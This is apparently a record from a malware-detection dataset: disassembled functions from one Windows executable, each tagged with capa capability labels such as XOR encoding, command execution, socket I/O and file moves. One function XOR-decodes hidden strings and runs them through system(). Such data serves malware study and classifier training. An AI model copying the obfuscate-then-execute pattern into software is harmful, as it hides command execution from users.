joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400075b8
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
movdqa xmm0, xmmword [0x140071380]
lea rdx, [0x1400710c8]
and qword [rbp - 0x40], 0
lea rcx, [rbp - 0x40]
xor r8d, r8d
movdqa xmmword [rbp - 0x30], xmm0
call fcn.140009b14
lea rcx, [rbp - 0x20]
call fcn.1400095a0
xor eax, eax
mov dword [rbp - 0x50], 0x34f0d1e
mov byte [rbp - 0x48], al
xor edx, edx
mov dword [rbp - 0x4c], 0x54031d05
mov dil, WSAGetLastError
movsxd rcx, edx
lea eax, [rdi + rdx]
inc edx
xor byte [rbp + rcx - 0x50], al
cmp edx, 8
jb 0x140007610
or rbx, 0xffffffffffffffff
mov byte [rbp - 0x48], 0
mov r8, rbx
lea rax, [rbp - 0x50]
inc r8
cmp byte [rax + r8], 0
jne 0x140007630
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x40]
call fcn.1400092b8
xor eax, eax
mov dword [rbp + 0x10], 0x29363f39
mov byte [rbp + 0x16], al
xor edx, edx
mov word [rbp + 0x14], 0x2b24
movsxd rcx, edx
lea eax, [rdi + rdx]
inc edx
xor byte [rbp + rcx + 0x10], al
cmp edx, 6
jb 0x14000765b
mov byte [rbp + 0x16], 0
lea rax, [rbp + 0x10]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140007677
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x40]
call fcn.1400092b8
cmp qword [rbp - 0x28], 0x10
lea rcx, [rbp - 0x40]
cmovae rcx, qword [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov dword [rbp - 0x50], 0x144f0d1e
mov byte [rbp - 0x46], al
xor edx, edx
mov dword [rbp - 0x4c], 0x161e14
mov word [rbp - 0x48], 0x5610
movsxd rcx, edx
lea eax, [rdi + rdx]
inc edx
xor byte [rbp + rcx - 0x50], al
cmp edx, 0xa
jb 0x1400076bd
mov byte [rbp - 0x46], 0
lea rax, [rbp - 0x50]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400076d9
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.1400092b8
xor eax, eax
mov dword [rbp + 0x10], 0x29363f39
mov byte [rbp + 0x16], al
xor edx, edx
mov word [rbp + 0x14], 0x2b24
movsxd rcx, edx
lea eax, [rdi + rdx]
inc edx
xor byte [rbp + rcx + 0x10], al
cmp edx, 6
jb 0x140007704
mov byte [rbp + 0x16], 0
lea rax, [rbp + 0x10]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14000771d
mov r8, rbx
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x20]
call fcn.1400092b8
cmp qword [rbp - 8], 0x10
lea rcx, [rbp - 0x20]
cmovae rcx, qword [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, 2
lea rdi, [rbp]
sub rdi, 0x20
mov rcx, rdi
call fcn.140009484
sub rbx, 1
jne 0x140007753
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140008ac0
Capabilities:
Encode data using xor

Disassembly:
xor r10d, r10d
mov r8d, r10d
movsxd rdx, r8d
mov eax, 0x2c6d
add eax, r8d
inc r8d
xor word [rcx + rdx*2], ax
cmp r8d, 0xe
jb 0x140008ac6
mov word [rcx + 0x1c], r10w
mov rax, rcx
ret

Function at 0x140009204
Capabilities:
Encode data using xor

Disassembly:
xor r10d, r10d
mov r8d, r10d
movsxd rdx, r8d
mov eax, 0x2c6d
add eax, r8d
inc r8d
xor word [rcx + rdx*2], ax
cmp r8d, 8
jb 0x14000920a
mov word [rcx + 0x10], r10w
mov rax, rcx
ret

Function at 0x14000922c
Capabilities:
Encode data using xor

Disassembly:
xor r10d, r10d
mov r8d, r10d
movsxd rdx, r8d
mov eax, 0x2c6d
add eax, r8d
inc r8d
xor word [rcx + rdx*2], ax
cmp r8d, 9
jb 0x140009232
mov word [rcx + 0x12], r10w
mov rax, rcx
ret

Function at 0x14000aaa4
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov rbx, rcx
mov esi, 0x7fffffff
movabs rbp, 0xb5026f5aa96619e9
mov r9, qword [rbx]
mov r8d, dword [r9]
cmp r8d, 0x138
jne 0x14000ab1e
lea r8, [r9 + 0x10]
mov r10d, 0x138
mov edx, dword [r8 - 8]
xor edx, dword [r8]
lea r8, [r8 + 8]
and rdx, rsi
xor rdx, qword [r8 - 0x10]
mov al, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, rbp
xor rcx, qword [r8 + 0x4d0]
xor rcx, rdx
mov qword [r8 + 0x9b0], rcx
sub r10, 1
jne 0x14000aade
mov r8d, dword [r9]
jmp 0x14000abff
cmp r8d, 0x270
jb 0x14000abff
lea r10, [r9 + 0x9c8]
mov r11d, 0x9c
mov rax, qword [r10]
lea r8, [r10 + 8]
mov rdx, qword [r8]
xor rdx, rax
and rdx, rsi
xor rdx, rax
mov al, dl
and al, 1
neg al
mov rax, qword [r8]
sbb rcx, rcx
shr rdx, 1
and rcx, rbp
xor rcx, qword [r10 + 0x4e0]
xor rcx, rdx
mov qword [r10 - 0x9c0], rcx
lea r10, [r8]
sub r11, 1
jne 0x14000ab3b
lea r10, [r9 + 0xea8]
mov r11d, 0x9b
mov rax, qword [r10]
mov rdx, rax
lea r8, [r10 + 8]
xor rdx, qword [r8]
and rdx, rsi
xor rdx, rax
mov al, dl
and al, 1
neg al
mov rax, qword [r8]
sbb rcx, rcx
shr rdx, 1
and rcx, rbp
xor rcx, qword [r10 - 0xea0]
xor rcx, rdx
mov qword [r10 - 0x9c0], rcx
lea r10, [r8]
sub r11, 1
jne 0x14000ab87
mov edx, dword [r9 + 0x1380]
xor edx, dword [r9 + 8]
and rdx, rsi
xor rdx, qword [r9 + 0x1380]
mov al, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, rbp
xor rcx, qword [r9 + 0x4e0]
xor rcx, rdx
mov qword [r9 + 0x9c0], rcx
and dword [r9], 0
xor r8d, r8d
mov eax, r8d
mov rdx, qword [r9 + rax*8 + 8]
lea eax, [r8 + 1]
mov dword [r9], eax
mov rcx, rdx
mov rax, qword [r9 + 0x1388]
shr rcx, 0x1d
and rax, rcx
movabs rcx, 0x38eb3ffff6d3
xor rdx, rax
mov rax, rdx
and rax, rcx
shl rax, 0x11
xor rdx, rax
mov rax, rdx
and rax, 0xffffffffffffbf77
shl rax, 0x25
xor rdx, rax
mov rax, rdx
shr rax, 0x2b
xor rax, rdx
cmp rax, qword [rbx + 0x10]
ja 0x14000aac5
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
ret
Function at 0x14001ec20
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x30
cmp byte [rcx + 0xad6], 0
mov rbp, r9
mov r14, r8
movsxd rsi, edx
mov rdi, rcx
je 0x14001ece9
cmp qword [rcx + 0x270], 0
je 0x14001ec9e
mov qword [rsp + 0x40], rbx
call fcn.14000e2a0
mov dl, 1
mov rcx, rdi
movzx ebx, al
call fcn.14000e5f0
mov rcx, qword [rdi + 0x1d8]
mov r9, rbp
mov qword [rsp + 0x20], rcx
mov r8, r14
mov rcx, rdi
mov edx, esi
call qword [rdi + 0x270]
movzx edx, bl
mov rcx, rdi
call fcn.14000e5f0
mov rbx, qword [rsp + 0x40]
jmp 0x14001ece9
mov ecx, esi
test edx, edx
je 0x14001ecae
sub ecx, 1
je 0x14001ecae
cmp ecx, 1
jne 0x14001ece9
mov r9, qword [rdi + 0x1d0]
lea rax, [0x140064398]
mov edx, 2
lea rcx, [rsi + rsi*2]
add rcx, rax
lea r8d, [rdx - 1]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov r9, qword [rdi + 0x1d0]
mov r8d, 1
mov rdx, rbp
mov rcx, r14
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret

Function at 0x14001ef10
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r9
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, 0xffffffffffffffff
jne 0x14001ef52
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, gethostname
mov qword [rbx], 0
cmp eax, 0x2733
mov edx, 0x51
cmove ecx, edx
mov eax, ecx
add rsp, 0x20
pop rbx
ret
mov qword [rbx], rcx
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x14001f0f0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x130
mov rax, qword [0x14007b068]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov rsi, qword [rsp + 0x190]
mov rbp, rcx
mov rcx, qword [rcx + 0x18]
mov r15, r8
movsxd r8, edx
mov r12, r9
mov rax, r8
shl rax, 5
lea rbx, [rcx + 0x218]
mov r14, qword [rcx + r8*8 + 0x1d0]
add rbx, rax
mov rax, qword [rcx + 0x3e8]
mov rdi, qword [rbx + 8]
sub rdi, qword [rbx + 0x10]
test byte [rax + 0x84], 3
je 0x14001f1fa
lea rax, [0x14001efa0]
cmp qword [rcx + r8*8 + 0x1f8], rax
jne 0x14001f1fa
cmp qword [rbx], 0
je 0x14001f181
test rdi, rdi
je 0x14001f1fa
mov rdx, 0xffffffffffffffff
xor r9d, r9d
mov r8, rdx
mov rcx, r14
call fcn.1400303d0
cmp eax, 0xffffffff
je 0x14001f1fa
test al, 1
je 0x14001f1fa
mov rcx, qword [rbx]
test rcx, rcx
jne 0x14001f1d9
mov eax, dword [rbp + 0x6ec]
lea ecx, [rax + rax]
mov qword [rbx + 8], rcx
call qword [section..data]
mov qword [rbx], rax
mov rcx, rax
test rax, rax
je 0x14001f234
mov rdi, qword [rbx + 8]
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
mov rdx, qword [rbx + 0x10]
xor r9d, r9d
add rdx, rcx
mov r8d, edi
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
test eax, eax
jle 0x14001f1fa
add qword [rbx + 0x10], rcx
xor r9d, r9d
mov r8d, r12d
mov rdx, r15
mov rcx, r14
call qword [sym.imp.WS2_32.dll_send]
movsxd rbx, eax
mov dword [rsi], 0
cmp rbx, 0xffffffffffffffff
jne 0x14001f273
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
cmp eax, 0x2733
jne 0x14001f243
xor ebx, ebx
mov dword [rsi], 0x51
jmp 0x14001f273
mov dword [rsi], reloc.WLDAP32.dll_Ordinal_27
mov rax, 0xffffffffffffffff
jmp 0x14001f276
mov r8d, 0x100
lea rdx, [rsp + 0x20]
mov ecx, edi
call fcn.140033920
mov r8, rax
lea rdx, str.Send_failure:__s
mov rcx, rbp
call fcn.14001ed00
mov dword [rbp + 0xd94], edi
mov dword [rsi], gethostname
mov rax, rbx
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.140060c00
add rsp, 0x130
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x14001f790
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x28
cmp byte [rcx + 0x268], 0
je 0x14001f7ad
call fcn.140018c90
test eax, eax
jne 0x14001f7d3
xor al, al
add rsp, 0x28
ret
mov rcx, qword [rcx + 0x1d0]
cmp rcx, 0xffffffffffffffff
je 0x14001f7a6
mov r9d, 2
lea rdx, [rsp + 0x30]
lea r8d, [r9 - 1]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x14001f7a6
mov al, 1
add rsp, 0x28
ret
Function at 0x14001fa20
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x1c0
mov rax, qword [0x14007b068]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
xorps xmm0, xmm0
mov dword [rsp + 0x20], 0x80
mov rax, rdx
mov rbx, r8
mov rsi, rcx
lea r8, [rsp + 0x20]
mov rcx, rax
lea rdx, [rsp + 0x30]
mov rdi, r9
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xa0], xmm0
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x14001fad3
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r8d, 0x100
lea rdx, [rsp + 0xb0]
mov ecx, eax
mov ebx, eax
call fcn.140033920
mov r9, rax
lea rdx, str.getsockname___failed_with_errno__d:__s
mov r8d, ebx
mov rcx, rsi
call fcn.14001ed00
jmp 0x14001fba3
movzx ecx, word [rsp + 0x30]
sub ecx, 1
je 0x14001fb78
sub ecx, 1
je 0x14001fb1d
cmp ecx, 0x15
jne 0x14001fb29
lea rdx, [rsp + 0x38]
mov ecx, reloc.WS2_32.dll_socket
mov r8, rbx
mov r9d, reloc.WLDAP32.dll_Ordinal_46
call fcn.140050b70
test rax, rax
je 0x14001fb29
movzx ecx, word [rsp + 0x32]
call qword [sym.imp.WS2_32.dll_ntohs]
movzx eax, ax
mov dword [rdi], eax
jmp 0x14001fba3
lea rdx, [rsp + 0x34]
mov ecx, 2
jmp 0x14001faf5
mov byte [rbx], 0
mov dword [rdi], 0
call sub.api_ms_win_crt_runtime_l1_1_0.dll__errno
mov dword [rax], 0x273f
call sub.api_ms_win_crt_runtime_l1_1_0.dll__errno
mov ebx, dword [rax]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__errno
mov r8d, 0x100
lea rdx, [rsp + 0xb0]
mov ecx, ebx
mov rdi, rax
call fcn.140033920
mov r8d, dword [rdi]
lea rdx, str.ssloc_inet_ntop___failed_with_errno__d:__s
mov r9, rax
mov rcx, rsi
call fcn.14001ed00
jmp 0x14001fba3
cmp dword [rsp + 0x20], 2
jle 0x14001fb9a
lea r9, [rsp + 0x32]
mov edx, reloc.WLDAP32.dll_Ordinal_46
lea r8, [0x140062c40]
mov rcx, rbx
call fcn.140031c00
jmp 0x14001fb9d
mov byte [rbx], 0
mov dword [rdi], 0
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.140060c00
add rsp, 0x1c0
pop rdi
pop rsi
pop rbx
ret

Function at 0x1400204d0
Capabilities:
Set socket configuration

Disassembly:
push rbx
sub rsp, 0x30
mov eax, dword [0x14007bae0]
mov rbx, rcx
mov dword [rsp + 0x50], 0x4020
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x58], 4
test eax, eax
jne 0x140020534
lea r9d, [rax + 2]
mov dword [rsp + 0x20], 3
xor r8d, r8d
lea ecx, [rax + 6]
xor edx, edx
call fcn.140051280
test al, al
je 0x140020528
mov dword [0x14007bae0], 2
add rsp, 0x30
pop rbx
ret
mov dword [0x14007bae0], 1
jmp 0x140020539
cmp eax, 2
je 0x14002058b
lea rax, [rsp + 0x58]
mov edx, 0xffff
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r8d, 0x1001
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x14002056a
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x48], eax
jg 0x14002058b
lea r9, [rsp + 0x50]
mov dword [rsp + 0x20], 4
mov edx, 0xffff
mov r8d, 0x1001
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x30
pop rbx
ret
Function at 0x140021a10
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call sub.api_ms_win_crt_stdio_l1_1_0.dll__read
cdqe
add rsp, 0x28
ret

Function at 0x140021d10
Capabilities:
Get common file path

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x20
mov rbx, rcx
xor ebp, ebp
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
jne 0x140021d3a
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
lea rdx, str.LoadLibraryExA
mov qword [rsp + 0x48], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x140064870]
mov rcx, rbx
mov r14, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strpbrk
test rax, rax
je 0x140021d9d
mov rcx, rbx
test r14, r14
je 0x140021d87
xor edx, edx
lea r8d, [rdx + 8]
call r14
mov r14, qword [rsp + 0x48]
mov rbp, rax
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, qword [rsp + 0x48]
mov rbp, rax
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
test r14, r14
je 0x140021dd5
lea rdx, str.AddDllDirectory
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140021dd5
xor edx, edx
mov r8d, 0x800
mov rcx, rbx
call r14
mov r14, qword [rsp + 0x48]
mov rbp, rax
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
xor edx, edx
mov qword [rsp + 0x50], r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov r15d, eax
test eax, eax
je 0x140021e98
mov qword [rsp + 0x40], rsi
mov rsi, 0xffffffffffffffff
mov rdx, rsi
nop
inc rdx
cmp byte [rbx + rdx], bpl
jne 0x140021e00
lea ecx, [rax + 1]
add rcx, rdx
call qword [section..data]
mov rdi, rax
test rax, rax
je 0x140021e8a
mov edx, r15d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x140021e8a
mov rax, rsi
cmp byte [rdi + rax + 1], bpl
lea rax, [rax + 1]
jne 0x140021e30
mov ecx, 0x5c
mov word [rax + rdi], cx
inc rsi
cmp byte [rdi + rsi], bpl
jne 0x140021e44
mov rcx, rdi
sub rcx, rbx
add rcx, rsi
nop word [rax + rax]
movzx eax, byte [rbx]
mov byte [rcx + rbx], al
lea rbx, [rbx + 1]
test al, al
jne 0x140021e60
mov rcx, rdi
test r14, r14
je 0x140021e81
xor edx, edx
lea r8d, [rdx + 8]
call r14
jmp 0x140021e87
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbp, rax
mov rcx, rdi
call qword [fcn.14006153e]
mov rsi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x50]
mov rax, rbp
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
Function at 0x140021f00
Capabilities:
Get common file path
Initialize winsock library

Disassembly:
sub rsp, 0x1e8
mov rax, qword [0x14007b068]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
test cl, 2
je 0x140021f66
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140021f49
movzx eax, word [rsp + 0x30]
cmp al, 2
jne 0x140021f43
shr ax, 8
cmp al, 2
je 0x140021f66
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 2
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.140060c00
add rsp, 0x1e8
ret
call fcn.1400523b0
test eax, eax
jne 0x140022170
mov qword [rsp + 0x200], rsi
lea rcx, str.kernel32
mov qword [rsp + 0x208], rdi
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
jne 0x140021fa6
mov qword [0x14007baf0], rsi
jmp 0x14002212d
mov qword [rsp + 0x1f0], rbx
lea rdx, str.LoadLibraryExA
mov rcx, rdi
mov qword [rsp + 0x1f8], rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rbx, str.iphlpapi.dll
mov rbp, rax
mov rcx, rbx
lea rdx, [0x140064870]
call sub.api_ms_win_crt_string_l1_1_0.dll_strpbrk
test rax, rax
je 0x14002200a
mov rcx, rbx
test rbp, rbp
je 0x140021ffc
xor edx, edx
lea r8d, [rdx + 8]
call rbp
mov rsi, rax
jmp 0x1400220ec
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
jmp 0x1400220ec
test rbp, rbp
je 0x140022039
lea rdx, str.AddDllDirectory
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140022039
xor edx, edx
mov r8d, 0x800
mov rcx, rbx
call rbp
mov rsi, rax
jmp 0x1400220ec
xor edx, edx
mov qword [rsp + 0x1e0], r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov r14d, eax
test eax, eax
je 0x1400220e4
lea ecx, [rax + 1]
add rcx, 0xc
call qword [section..data]
mov rdi, rax
test rax, rax
je 0x1400220db
mov edx, r14d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1400220db
mov rcx, 0xffffffffffffffff
mov rax, rcx
cmp byte [rdi + rax + 1], sil
lea rax, [rax + 1]
jne 0x140022085
mov edx, 0x5c
mov word [rax + rdi], dx
nop dword [rax]
inc rcx
cmp byte [rdi + rcx], sil
jne 0x1400220a0
mov rdx, rdi
sub rdx, rbx
add rdx, rcx
movzx eax, byte [rbx]
mov byte [rdx + rbx], al
lea rbx, [rbx + 1]
test al, al
jne 0x1400220b2
mov rcx, rdi
test rbp, rbp
je 0x1400220d2
xor edx, edx
lea r8d, [rdx + 8]
call rbp
jmp 0x1400220d8
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
mov rcx, rdi
call qword [fcn.14006153e]
mov r14, qword [rsp + 0x1e0]
mov rbp, qword [rsp + 0x1f8]
mov rbx, qword [rsp + 0x1f0]
mov qword [0x14007baf0], rsi
test rsi, rsi
je 0x14002212d
lea rdx, str.if_nametoindex
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14007bae8]
test rax, rax
cmovne rcx, rax
mov qword [0x14007bae8], rcx
xor edx, edx
mov dword [rsp + 0x20], 3
mov r9d, 2
xor r8d, r8d
lea ecx, [rdx + 6]
call fcn.140051280
test al, al
lea rcx, [0x14007ce50]
setne byte [0x14007ce48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rdi, qword [rsp + 0x208]
xor eax, eax
mov rsi, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.140060c00
add rsp, 0x1e8
ret
Function at 0x140023f10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r8, rdx
movzx edx, byte [rcx]
test dl, dl
je 0x140023f45
lea r9, [0x140064b40]
movzx eax, byte [r8]
test al, al
je 0x140023f45
movzx eax, byte [rax + r9]
movzx edx, dl
cmp byte [rdx + r9], al
jne 0x140023f57
movzx edx, byte [rcx + 1]
inc rcx
inc r8
test dl, dl
jne 0x140023f21
xor edx, edx
mov eax, edx
cmp byte [rcx], al
sete al
cmp byte [r8], dl
setne dl
xor eax, edx
ret
xor eax, eax
ret
Function at 0x140034ea0
Capabilities:
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x60
mov rbx, rcx
movaps xmmword [rsp + 0x50], xmm6
lea rcx, [rsp + 0x30]
mov rdi, rdx
call fcn.1400279d0
mov rcx, rbx
movups xmm6, xmmword [rax]
call case.0x140013c09.0
mov rcx, rdi
mov rsi, rax
call case.0x140013c09.0
mov r8d, 1
mov rdx, rax
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x140034f50
nop dword [rax]
nop word [rax + rax]
lea rcx, [rsp + 0x40]
movdqa xmmword [rsp + 0x20], xmm6
call fcn.1400279d0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x30], xmm0
call fcn.140027a60
cmp rax, 0x3e8
ja 0x140034f81
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 1
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
je 0x140034f00
test rsi, rsi
je 0x140034f5d
mov rcx, rsi
call fcn.14006153e
test rbx, rbx
je 0x140034f6a
mov rcx, rbx
call fcn.14006153e
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
movaps xmm6, xmmword [rsp + 0x50]
add rsp, 0x60
pop rdi
ret
test rsi, rsi
je 0x140034f8e
mov rcx, rsi
call fcn.14006153e
test rbx, rbx
je 0x140034f9b
mov rcx, rbx
call fcn.14006153e
mov eax, 1
jmp 0x140034f6c
Function at 0x1400350e0
Capabilities:
Connect socket
Get local ipv4 addresses
Get socket information
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x14007b068]
xor rax, rsp
mov qword [rbp - 8], rax
mov edx, 1
mov dword [rbp - 0x40], reloc.WS2_32.dll_recv
mov esi, 2
mov dword [rbp - 0x3c], 1
mov ecx, esi
mov rdi, r9
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140035132
jmp 0x1400352fb
mov qword [rsp + 0x90], r14
mov ecx, 0x7f000001
xor r14d, r14d
mov word [rbp - 0x38], si
mov qword [rbp - 0x30], r14
call qword [sym.imp.WS2_32.dll_htonl]
lea r9, [rbp - 0x3c]
mov word [rbp - 0x36], r14w
mov edx, 0xffff
mov dword [rbp - 0x34], eax
lea r8d, [r14 + 4]
mov qword [rdi + 8], 0xffffffffffffffff
mov rcx, rbx
mov qword [rdi], 0xffffffffffffffff
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x1400352d2
lea r8d, [r14 + 0x10]
mov rcx, rbx
lea rdx, [rbp - 0x38]
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x1400352d2
lea r8, [rbp - 0x40]
mov rcx, rbx
lea rdx, [rbp - 0x38]
call qword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
je 0x1400352d2
cmp dword [rbp - 0x40], 0x10
jl 0x1400352d2
lea edx, [r14 + 1]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x1400352d2
xor r8d, r8d
lea edx, [r14 + 1]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rdi], rax
cmp rax, 0xffffffffffffffff
je 0x1400352d2
lea r8d, [r14 + 0x10]
mov rcx, rax
lea rdx, [rbp - 0x38]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1400352d2
lea edx, [r14 + 1]
mov rcx, rbx
call fcn.140050b40
test eax, eax
js 0x1400352d2
lea edx, [r14 + 1]
mov qword [rbp - 0x18], rbx
mov r8d, 0x2710
mov dword [rbp - 0x10], 0x300
lea rcx, [rbp - 0x18]
call fcn.14002ffe0
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_accept]
mov qword [rdi + 8], rax
cmp rax, 0xffffffffffffffff
je 0x1400352d2
mov rcx, qword [rdi]
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x38]
mov dword [rbp - 0x40], reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
je 0x1400352d2
cmp dword [rbp - 0x40], 0x10
jl 0x1400352d2
mov rcx, qword [rdi + 8]
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x28]
mov dword [rbp - 0x40], reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_getpeername]
cmp eax, 0xffffffff
je 0x1400352d2
cmp dword [rbp - 0x40], 0x10
jl 0x1400352d2
movzx eax, word [rbp - 0x28]
cmp word [rbp - 0x38], ax
jne 0x1400352d2
mov eax, dword [rbp - 0x24]
cmp dword [rbp - 0x34], eax
jne 0x1400352d2
movzx eax, word [rbp - 0x26]
cmp word [rbp - 0x36], ax
jne 0x1400352d2
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x1400352f3
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rdi]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rdi + 8]
call qword [sym.imp.WS2_32.dll_closesocket]
mov eax, 0xffffffff
mov r14, qword [rsp + 0x90]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140060c00
mov rbx, qword [rsp + 0x98]
